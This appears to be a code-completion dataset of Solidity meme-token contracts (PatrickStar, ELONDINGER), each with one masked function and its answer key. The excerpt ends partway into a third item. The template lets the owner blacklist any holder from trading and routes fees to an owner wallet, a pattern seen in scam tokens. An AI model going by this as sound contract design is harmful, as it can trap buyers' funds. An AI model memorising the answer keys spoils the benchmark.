function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 3;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 300000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> }
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract PatrickStar is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 300000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "PatrickStar";
string private constant _symbol = "PatrickStar";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xF3E24D233d72d78A947c24D6b07ba4Ad36899517);
_feeAddrWallet2 = payable(0xF3E24D233d72d78A947c24D6b07ba4Ad36899517);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 3;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 300000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
<FILL_FUNCTION>
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
| function _transferStandard(address sender, address recipient, uint256 tAmount) private | function _transferStandard(address sender, address recipient, uint256 tAmount) private |
64200 | ELONDINGER | openTrading | contract ELONDINGER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "ELONDINGER";
string private constant _symbol = "ELONDINGER";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x63b499747d0d36e6FF627EE4f639950877EC727A);
_feeAddrWallet2 = payable(0x63b499747d0d36e6FF627EE4f639950877EC727A);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x63b499747d0d36e6FF627EE4f639950877EC727A), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {<FILL_FUNCTION_BODY> }
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract ELONDINGER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "ELONDINGER";
string private constant _symbol = "ELONDINGER";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x63b499747d0d36e6FF627EE4f639950877EC727A);
_feeAddrWallet2 = payable(0x63b499747d0d36e6FF627EE4f639950877EC727A);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x63b499747d0d36e6FF627EE4f639950877EC727A), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
<FILL_FUNCTION>
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
| function openTrading() external onlyOwner() | function openTrading() external onlyOwner() |
32295 | DefiInfastructedBaseToken | transfer | contract DefiInfastructedBaseToken is ERC20UpgradeSafe, ERC677Token, OwnableUpgradeSafe {
// PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH
// Anytime there is division, there is a risk of numerical instability from rounding errors. In
// order to minimize this risk, we adhere to the following guidelines:
// 1) The conversion rate adopted is the number of shares that equals 1 DefiInfastructedBase.
// The inverse rate must not be used--totalShares is always the numerator and _totalSupply is
// always the denominator. (i.e. If you want to convert shares to DefiInfastructedBase instead of
// multiplying by the inverse rate, you should divide by the normal rate)
// 2) Share balances converted into DefiInfastructedBaseToken are always rounded down (truncated).
//
// We make the following guarantees:
// - If address 'A' transfers x DefiInfastructedBaseToken to address 'B'. A's resulting external balance will
// be decreased by precisely x DefiInfastructedBaseToken, and B's external balance will be precisely
// increased by x DefiInfastructedBaseToken.
//
// We do not guarantee that the sum of all balances equals the result of calling totalSupply().
// This is because, for any conversion function 'f()' that has non-zero rounding error,
// f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn).
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
// Used for authentication
address public monetaryPolicy;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 9;
